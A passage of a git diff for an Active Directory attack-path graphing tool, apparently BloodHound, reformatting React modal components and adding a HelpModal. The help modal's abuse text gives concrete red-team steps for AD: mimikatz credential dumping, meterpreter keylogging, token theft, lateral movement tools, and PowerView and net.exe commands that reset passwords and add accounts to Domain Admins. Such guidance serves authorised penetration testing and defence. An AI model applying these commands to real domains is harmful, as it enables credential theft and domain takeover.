+                setTimeout(x => {this.closeModal()}, 500);
+            });
+        }else{
+            complete.show();
+            emitter.emit("addNodeFinal", name, type);
+            setTimeout(x => {this.closeModal();}, 500);
+        }
+        
+        //this.closeModal();
+    }
+
+    openModal() {
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        this.setState( {open: true });
+        jQuery(this.refs.name).focus()
+        jQuery(this.refs.error).hide()
+        jQuery(this.refs.complete).hide();
+    }
+
+    clearFocus(){
+        let validate = jQuery(this.refs.validate);
+        let error = jQuery(this.refs.error);
+
+        validate.removeClass("has-error");
+        error.hide();
+    }
+
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="AddNodeModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="AddNodeModalHeader">Add Node</Modal.Title>
+                </Modal.Header>
+
+                <Modal.Body>
+                    <form onSubmit={x => {x.preventDefault();this.validate()}} className="needs-validation" noValidate>
+                        <div ref="validate" className={"form-group"}>
+                            <label htmlFor="addNodeName" required>Node Name</label>
+                            <input onFocus={this.clearFocus.bind(this)} ref="name" type="text" className={"form-control"} id="addNodeName" />
+                            <span className="help-block" ref="error">
+                                Looks good!
+                            </span>
+                        </div>
+                        <div className={"form-group"}>
+                            <label htmlFor="addNodeType">Node Type</label>
+                            <select onFocus={this.clearFocus.bind(this)} ref="type" className={"form-control"} id="addNodeType">
+                                <option>User</option>
+                                <option>Group</option>
+                                <option>Computer</option>
+                                <option>Domain</option>
+                                <option>OU</option>
+                                <option>GPO</option>
+                            </select>
+                        </div>
+                    </form>
+                </Modal.Body>
+
+                <Modal.Footer>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color add-modal-check-style"
+                    />
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.validate.bind(this)}
+                    >
+                        Confirm
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
+}
diff --git a/src/components/Modals/CancelUploadModal.jsx b/src/components/Modals/CancelUploadModal.jsx
index 1535ed3..1d8fb36 100644
--- a/src/components/Modals/CancelUploadModal.jsx
+++ b/src/components/Modals/CancelUploadModal.jsx
@@ -1,57 +1,66 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
-var Modal = require('react-bootstrap').Modal;
+import { Modal } from "react-bootstrap";
 
 export default class CancelUploadModal extends Component {
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
 
-	constructor(){
-		super();
-		this.state = {
-			open: false
-		}
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	closeModal(){
-		this.setState({ open: false })
-	}
+    closeAndCancel() {
+        this.setState({ open: false });
+        emitter.emit("cancelUpload");
+    }
 
-	closeAndCancel(){
-		this.setState({ open: false })
-		emitter.emit('cancelUpload');
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    componentDidMount() {
+        emitter.on("showCancelUpload", this.openModal.bind(this));
+    }
 
-	componentDidMount() {
-		emitter.on('showCancelUpload', this.openModal.bind(this))		
-	}
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="CanceulUploadHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="CancelUploadHeader">
+                        Cancel Upload
+                    </Modal.Title>
+                </Modal.Header>
 
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="CanceulUploadHeader">
+                <Modal.Body>
+                    <p>Are you sure you want to cancel the upload?</p>
+                </Modal.Body>
 
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="CancelUploadHeader">Cancel Upload</Modal.Title>
-				</Modal.Header>
-
-				<Modal.Body>
-					<p>Are you sure you want to cancel the upload?</p>
-				</Modal.Body>
-
-				<Modal.Footer>
-					<button type="button" className="btn btn-danger" onClick={this.closeAndCancel.bind(this)}>
-						Stop Upload
-					</button>
-					<button type="button" className="btn btn-primary" onClick={this.closeModal.bind(this)}>
-						Cancel
-					</button>
-				</Modal.Footer>
-			</Modal>
-		);
-	}
+                <Modal.Footer>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.closeAndCancel.bind(this)}
+                    >
+                        Stop Upload
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/Modals/ClearConfirmModal.jsx b/src/components/Modals/ClearConfirmModal.jsx
index 4523404..d6897c8 100644
--- a/src/components/Modals/ClearConfirmModal.jsx
+++ b/src/components/Modals/ClearConfirmModal.jsx
@@ -1,54 +1,70 @@
-import React, { Component } from 'react';
-import { clearDatabase } from 'utils'
+import React, { Component } from "react";
+import { clearDatabase } from "utils";
 
-var Modal = require('react-bootstrap').Modal;
+import { Modal } from "react-bootstrap";
 
 export default class ClearConfirmModal extends Component {
-	constructor(){
-		super();
-		this.state = {
-			open: false
-		}
-	}
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	closeModal(){
-		this.setState({ open: false })
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	closeModalAndClearDB(){
-		this.setState({open: false})
-		emitter.emit('clearDB')
-		clearDatabase()
-	}
+    closeModalAndClearDB() {
+        this.setState({ open: false });
+        emitter.emit("clearDB");
+        clearDatabase();
+    }
 
-	componentDidMount() {
-		emitter.on('openDBConfirm', this.openModal.bind(this))
-	}
+    componentDidMount() {
+        emitter.on("openDBConfirm", this.openModal.bind(this));
+    }
 
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="ConfirmModalHeader">
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="ConfirmModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="ConfirmModalHeader">
+                        Clear Database
+                    </Modal.Title>
+                </Modal.Header>
 
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="ConfirmModalHeader">Clear Database</Modal.Title>
-				</Modal.Header>
+                <Modal.Body>
+                    <p>
+                        Are you ABSOLUTELY sure you want to clear the database?
+                    </p>
+                </Modal.Body>
 
-				<Modal.Body>
-					<p>Are you ABSOLUTELY sure you want to clear the database?</p>
-				</Modal.Body>
-
-				<Modal.Footer>
-					<button onClick={this.closeModal.bind(this)} type="button" className="btn btn-primary">Cancel</button>
-					<button onClick={this.closeModalAndClearDB.bind(this)} type="button" className="btn btn-danger">Clear Database</button>
-				</Modal.Footer>
-			</Modal>
-		);
-	}
+                <Modal.Footer>
+                    <button
+                        onClick={this.closeModal.bind(this)}
+                        type="button"
+                        className="btn btn-primary"
+                    >
+                        Cancel
+                    </button>
+                    <button
+                        onClick={this.closeModalAndClearDB.bind(this)}
+                        type="button"
+                        className="btn btn-danger"
+                    >
+                        Clear Database
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/Modals/ClearWarnModal.jsx b/src/components/Modals/ClearWarnModal.jsx
index ea71d5e..da711b5 100644
--- a/src/components/Modals/ClearWarnModal.jsx
+++ b/src/components/Modals/ClearWarnModal.jsx
@@ -1,53 +1,69 @@
-import React, { Component } from 'react';
-
-var Modal = require('react-bootstrap').Modal;
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
 
 export default class ClearWarnModal extends Component {
-	constructor(){
-		super();
+    constructor() {
+        super();
 
-		this.state = {
-			open: false
-		}
-	}
+        this.state = {
+            open: false
+        };
+    }
 
-	closeModal(){
-		this.setState({open: false})
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	closeAndOpenStep(){
-		this.setState({ open: false })
-		emitter.emit('openDBConfirm')
-	}
+    closeAndOpenStep() {
+        this.setState({ open: false });
+        emitter.emit("openDBConfirm");
+    }
 
-	componentDidMount(){
-		emitter.on('openDBWarnModal', this.openModal.bind(this))
-	}
+    componentDidMount() {
+        emitter.on("openDBWarnModal", this.openModal.bind(this));
+    }
 
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="WarnModalHeader">
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="WarnModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="WarnModalHeader">
+                        Clear Database
+                    </Modal.Title>
+                </Modal.Header>
 
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="WarnModalHeader">Clear Database</Modal.Title>
-				</Modal.Header>
+                <Modal.Body>
+                    <p>
+                        Are you sure you want to clear the database? This is
+                        irreversible and may take some time!
+                    </p>
+                </Modal.Body>
 
-				<Modal.Body>
-					<p>Are you sure you want to clear the database? This is irreversible and may take some time!</p>
-				</Modal.Body>
-
-				<Modal.Footer>
-					<button onClick={this.closeAndOpenStep.bind(this)} type="button" className="btn btn-danger">Clear Database</button>
-					<button onClick={this.closeModal.bind(this)} type="button" className="btn btn-primary">Cancel</button>
-				</Modal.Footer>
-			</Modal>
-		);
-	}
+                <Modal.Footer>
+                    <button
+                        onClick={this.closeAndOpenStep.bind(this)}
+                        type="button"
+                        className="btn btn-danger"
+                    >
+                        Clear Database
+                    </button>
+                    <button
+                        onClick={this.closeModal.bind(this)}
+                        type="button"
+                        className="btn btn-primary"
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/Modals/ClearingModal.jsx b/src/components/Modals/ClearingModal.jsx
index d2e2941..f426e9d 100644
--- a/src/components/Modals/ClearingModal.jsx
+++ b/src/components/Modals/ClearingModal.jsx
@@ -1,38 +1,39 @@
-import React, { Component } from 'react';
-
-var Modal = require('react-bootstrap').Modal;
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
 
 export default class ClearingModal extends Component {
-	constructor(){
-		super();
-		this.state = {
-			open: false
-		}
-	}
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	closeModal(){
-		this.setState({ open: false })
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	componentDidMount() {
-		emitter.on('openClearingModal', this.openModal.bind(this))
-		emitter.on('hideDBClearModal', this.closeModal.bind(this))
-	}
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="ClearingModalHeader">
-
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="ClearingModalHeader">Clearing Data</Modal.Title>
-				</Modal.Header>
-			</Modal>
-		);
-	}
+    componentDidMount() {
+        emitter.on("openClearingModal", this.openModal.bind(this));
+        emitter.on("hideDBClearModal", this.closeModal.bind(this));
+    }
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="ClearingModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="ClearingModalHeader">
+                        Clearing Data
+                    </Modal.Title>
+                </Modal.Header>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/Modals/DeleteEdgeModal.jsx b/src/components/Modals/DeleteEdgeModal.jsx
new file mode 100644
index 0000000..2d23c5b
--- /dev/null
+++ b/src/components/Modals/DeleteEdgeModal.jsx
@@ -0,0 +1,64 @@
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
+
+export default class DeleteEdgeModal extends Component {
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
+
+    closeModal() {
+        this.setState({ open: false });
+    }
+
+    confirmDelete() {
+        this.closeModal();
+        emitter.emit("deleteEdgeConfirm", this.state.id);
+    }
+
+    openModal(id) {
+        appStore.currentTooltip.close();
+        this.setState({ open: true,  id: id });
+    }
+
+    componentDidMount() {
+        emitter.on("deleteEdge", this.openModal.bind(this));
+    }
+
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="DeleteEdgeModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="DeleteEdgeModalHeader">Delete Edge</Modal.Title>
+                </Modal.Header>
+
+                <Modal.Body>
+                    <p>Are you sure you want to delete this edge?</p>
+                </Modal.Body>
+
+                <Modal.Footer>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.confirmDelete.bind(this)}
+                    >
+                        Confirm
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
+}
diff --git a/src/components/Modals/DeleteNodeModal.jsx b/src/components/Modals/DeleteNodeModal.jsx
new file mode 100644
index 0000000..4847869
--- /dev/null
+++ b/src/components/Modals/DeleteNodeModal.jsx
@@ -0,0 +1,67 @@
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
+
+export default class DeleteNodeModal extends Component {
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
+
+    closeModal() {
+        this.setState({ open: false });
+    }
+
+    confirmDelete() {
+        this.closeModal();
+        emitter.emit("deleteNodeConfirm", this.state.id);
+    }
+
+    openModal(id) {
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        
+        this.setState({ open: true,  id: id });
+    }
+
+    componentDidMount() {
+        emitter.on("deletenode", this.openModal.bind(this));
+    }
+
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="DeleteNodeModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="DeleteNodeModalHeader">Delete Node</Modal.Title>
+                </Modal.Header>
+
+                <Modal.Body>
+                    <p>Are you sure you want to delete this node?</p>
+                </Modal.Body>
+
+                <Modal.Footer>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.confirmDelete.bind(this)}
+                    >
+                        Confirm
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
+}
diff --git a/src/components/Modals/HelpModal.jsx b/src/components/Modals/HelpModal.jsx
new file mode 100644
index 0000000..ad8e1d9
--- /dev/null
+++ b/src/components/Modals/HelpModal.jsx
@@ -0,0 +1,1172 @@
+import React, { Component } from "react";
+
+import { Modal, Tabs, Tab } from "react-bootstrap";
+
+export default class HelpModal extends Component {
+    constructor() {
+        super();
+
+        this.state = {
+            open: false,
+            infoTabContent: "",
+            abuseTabContent: "",
+            opsecTabContent: "",
+            referencesTabContent: ""
+        };
+    }
+
+    componentDidMount() {
+        emitter.on("displayHelp", this.openModal.bind(this));
+    }
+
+    closeModal() {
+        this.setState({ open: false });
+    }
+
+    groupSpecialFormat(source) {
+        if (source.type === "Group") {
+            return "The members of the {} {} have";
+        } else {
+            return "The {} {} has";
+        }
+    }
+
+    createGeneralInfoTab(edge, source, target) {
+        let sourceType = source.type.toLowerCase();
+        let sourceName = source.label;
+        let targetType = target.type.toLowerCase();
+        let targetName = target.label;
+        let formatted;
+        if (edge.label === "AdminTo") {
+            let text = `${this.groupSpecialFormat(source)} admin rights to the computer {}.
+
+            By default, administrators have several ways to perform remote code execution on Windows systems, including via RDP, WMI, WinRM, the Service Control Manager, and remote DCOM execution.
+        
+            Further, administrators have several options for impersonating other users logged onto the system, including plaintext password extraction, token impersonation, and injecting into processes running as another user.
+        
+            Finally, administrators can often disable host-based security controls that would otherwise prevent the aforementioned techniques.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "MemberOf") {
+            let text = `The {} {} is a member of the group {}.
+            
+            Groups in active directory grant their members any privileges the group itself has. If a group has rights to another principal, users/computers in the group, as well as other groups inside the group inherit those permissions.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "HasSession") {
+            let text = `The {} {} has a session on the computer {}.
+            
+            When a user authenticates to a computer, they often leave credentials exposed on the system, which can be retrieved through LSASS injection, token manipulation/theft, or injecting into a user's process.
+            
+            Any user that is an administrator to the system has the capability to retrieve the credential material from memory if it still exists.
+            
+            Note: A session does not guarantee credential material is present, only possible.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "AllExtendedRights") {
+            let text = `${this.groupSpecialFormat(source)} the AllExtendedRights privilege to the {} {}. Extended rights are special rights granted on objects which allow reading of privileged attributes, as well as performing special actions. `;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "AddMember") {
+            let text = `${this.groupSpecialFormat(source)} the ability to add arbitrary principals, including {}, to the group {}. Because of security group delegation, the members of a security group have the same privileges as that group. 
+            
+            By adding itself to the group, {} will gain the same privileges that {} already has.`;
+            formatted = text.format(sourceType, sourceName, sourceType === "group" ? "themselves" : "itself", targetName, sourceName, targetName);
+        } else if (edge.label === "ForceChangePassword") {
+            let text = `${this.groupSpecialFormat(source)} the capability to change the user {}'s password without knowing that user's current password.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "GenericAll") {
+            let text = `${this.groupSpecialFormat(source)} GenericAll privileges to the {} {}. This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.`;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "GenericWrite") {
+            let text = `${this.groupSpecialFormat(source)} generic write access to the {} {}. 
+            
+            Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user`;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "Owns") {
+            let text = `${this.groupSpecialFormat(source)} ownership of the {} {}. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL`;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "WriteDacl") {
+            let text = `${this.groupSpecialFormat(source)} permissions to modify the DACL (Discretionary Access Control List) on the {} {}. With write access to the target object's DACL, you can grant yourself any privilege you want on the object.`;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "WriteOwner") {
+            let text = `${this.groupSpecialFormat(source)} the ability to modify the owner of the {} {}. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.`;
+            formatted = text.format(sourceType, sourceName, targetType, targetName);
+        } else if (edge.label === "CanRDP") {
+            let text = `${this.groupSpecialFormat(source)} the capability to create a Remote Desktop Connection with the computer {}.
+            
+            Remote Desktop access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system.
+            
+            Note: This edge does not guarantee privileged execution.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "ExecuteDCOM") {
+            let text = `${this.groupSpecialFormat(source)} membership in the Distributed COM Users local group on the computer {}. This can allow code execution under certain conditions by instantiating a COM object on a remote machine and invoking its methods.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "AllowedToDelegate") {
+            let text = `The {} {} has the constrained delegation privilege to the computer {}.
+            
+            The constrained delegation primitive allows a principal to authenticate as any user to specific services (found in the msds-AllowedToDelegateTo LDAP property in the source node tab) on the target computer. That is, a node with this privilege can impersonate any domain principal (including Domain Admins) to the specific service on the target host.
+            
+            An issue exists in the constrained delegation where the service name (sname) of the resulting ticket is not a part of the protected ticket information, meaning that an attacker can modify the target service name to any service of their choice. For example, if msds-AllowedToDelegateTo is “HTTP/host.domain.com”, tickets can be modified for LDAP/HOST/etc. service names, resulting in complete server compromise, regardless of the specific service listed.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "GetChanges") {
+            let text = `${this.groupSpecialFormat(source)} the DS-Replication-Get-Changes privilege on the domain ${targetName}.
+            
+            Individually, this edge does not grant the ability to perform an attack. However, in conjunction with DS-Replication-Get-Changes-All, a principal may perform a DCSync attack.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "GetChangesAll") {
+            let text = `${this.groupSpecialFormat(source)} the DS-Replication-Get-Changes-All privilege on the domain ${targetName}.
+            
+            Individually, this edge does not grant the ability to perform an attack. However, in conjunction with DS-Replication-Get-Changes, a principal may perform a DCSync attack.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "ReadLAPSPassword") {
+            let text = `${this.groupSpecialFormat(source)} the ability to read the password set by Local Administrator Password Solution (LAPS) on the computer {}. The local administrator password for a computer managed by LAPS is stored in the confidential LDAP attribute,  “ms-mcs-AdmPwd”. `;
+
+            formatted = text;
+        } else if (edge.label === "Contains") {
+            formatted = `The ${sourceType} ${sourceName} contains the ${targetType} ${targetName}. GPOs linked to a container apply to all objects that are contained by the container.`;
+        } else if (edge.label === "GpLink") {
+            formatted = `The GPO ${sourceName} is linked to the ${targetType} ${targetName}. A linked GPO applies its settings to objects in the linked container.`;
+        }
+
+        this.setState({ infoTabContent: { __html: formatted } })
+    }
+
+    createAbuseInfoTab(edge, source, target) {
+        let sourceType = source.type;
+        let sourceName = source.label;
+        let targetType = target.type;
+        let targetName = target.label;
+        let formatted;
+        if (edge.label === "AdminTo") {
+            let text = `<h4>Lateral movement</h4>
+            There are several ways to pivot to a Windows system. If using Cobalt Strike's beacon, check the help info for the commands "psexec", "psexec_psh", "wmi", and "winrm". With Empire, consider the modules for Invoke-PsExec, Invoke-DCOM, and Invoke-SMBExec. With Metasploit, consider the modules "exploit/windows/smb/psexec", "exploit/windows/winrm/winrm_script_exec", and "exploit/windows/local/ps_wmi_exec". Additionally, there are several manual methods for remotely executing code on the machine, including via RDP, with the service control binary and interaction with the remote machine's service control manager, and remotely instantiating DCOM objects. For more information about these lateral movement techniques, see the References tab.
+            
+            <h4>Gathering credentials</h4>
+            The most well-known tool for gathering credentials from a Windows system is mimikatz. mimikatz is built into several agents and toolsets, including Cobalt Strike's beacon, Empire, and Meterpreter. While running in a high integrity process with SeDebugPrivilege, execute one or more of mimikatz's credential gathering techniques (e.g.: sekurlsa::wdigest, sekurlsa::logonpasswords, etc.), then parse or investigate the output to find clear-text credentials for other users logged onto the system.
+            
+            You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter's "keyscan_start" command to start keylogging a user, then "keyscan_dump" to return the captured keystrokes. Or, you may use PowerSploit's Invoke-ClipboardMonitor to periodically gather the contents of the user's clipboard.
+            
+            <h4>Token Impersonation</h4>
+            You may run into a situation where a user is logged onto the system, but you can't gather that user's credential. This may be caused by a host-based security product, lsass protection, etc. In those circumstances, you may abuse Windows' token model in several ways. First, you may inject your agent into that user's process, which will give you a process token as that user, which you can then use to authenticate to other systems on the network. Or, you may steal a process token from a remote process and start a thread in your agent's process with that user's token. For more information about token abuses, see the References tab.
+            
+            <h4>Disabling host-based security controls</h4>
+            Several host-based controls may affect your ability to execute certain techniques, such as credential theft, process injection, command line execution, and writing files to disk. Administrators can often disable these host-based controls in various ways, such as stopping or otherwise disabling a service, unloading a driver, or making registry key changes. For more information, see the References tab.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "MemberOf") {
+            let text = `No abuse is necessary. This edge simply indicates that a principal belongs to a security group.`;
+            formatted = text;
+        } else if (edge.label === "HasSession") {
+            let text = `<h4>Password Theft</h4>
+            When a user has a session on the computer, you may be able to obtain credentials for the user via credential dumping or token impersonation. You must be able to move laterally to the computer, have administrative access on the computer, and the user must have a non-network logon session on the computer.
+
+            Once you have established a Cobalt Strike Beacon, Empire agent, or other implant on the target, you can use mimikatz to dump credentials of the user that has a session on the computer. While running in a high integrity process with SeDebugPrivilege, execute one or more of mimikatz's credential gathering techniques (e.g.: sekurlsa::wdigest, sekurlsa::logonpasswords, etc.), then parse or investigate the output to find clear-text credentials for other users logged onto the system.
+
+            You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter's "keyscan_start" command to start keylogging a user, then "keyscan_dump" to return the captured keystrokes. Or, you may use PowerSploit's Invoke-ClipboardMonitor to periodically gather the contents of the user's clipboard.
+                
+            <h4>Token Impersonation</h4>            
+            You may run into a situation where a user is logged onto the system, but you can't gather that user's credential. This may be caused by a host-based security product, lsass protection, etc. In those circumstances, you may abuse Windows' token model in several ways. First, you may inject your agent into that user's process, which will give you a process token as that user, which you can then use to authenticate to other systems on the network. Or, you may steal a process token from a remote process and start a thread in your agent's process with that user's token. For more information about token abuses, see the References tab.
+
+            User sessions can be short lived and only represent the sessions that were present at the time of collection. A user may have ended their session by the time you move to the computer to target them. However, users tend to use the same machines, such as the workstations or servers they are assigned to use for their job duties, so it can be valuable to check multiple times if a user session has started.`;
+            formatted = text;
+        } else if (edge.label === "AllExtendedRights") {
+            let text;
+            if (targetType === "User") {
+                text = `The AllExtendedRights privilege grants ${sourceName} the ability to change the password of the user ${targetName} without knowing their current password. This is equivalent to the “ForceChangePassword” edge in BloodHound.
+
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then create a secure string object for the password you want to set on the target user:
+
+                <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+                Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+                Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.`;
+            } else if (targetType === "Computer") {
+                text = `If LAPS is installed in the environment, the AllExtendedRights privilege grants ${sourceName} the ability to obtain the RID 500 administrator password of ${targetName}. ${sourceName} can do so by listing a computer object’s AD properties with PowerView using Get-DomainComputer {}.  The value of the ms-mcs-AdmPwd property will contain password of the administrative local account on ${targetName}.`;
+            } else if (targetType === "Domain") {
+                text = `The AllExtendedRights privilege grants ${sourceName} both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges, which combined allow a principal to replicate objects from the domain ${targetName}. This can be abused using the lsadump::dcsync command in mimikatz.`;
+            }
+            formatted = text;
+        } else if (edge.label === "AddMember") {
+            let text = `There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" dfm.a /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+            To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} if you are not running a process as that user. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+        
+            <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+            $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+        
+            Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+        
+            <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+        
+            Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+        
+            <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>`;
+            formatted = text;
+        } else if (edge.label === "ForceChangePassword") {
+            let text = `There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
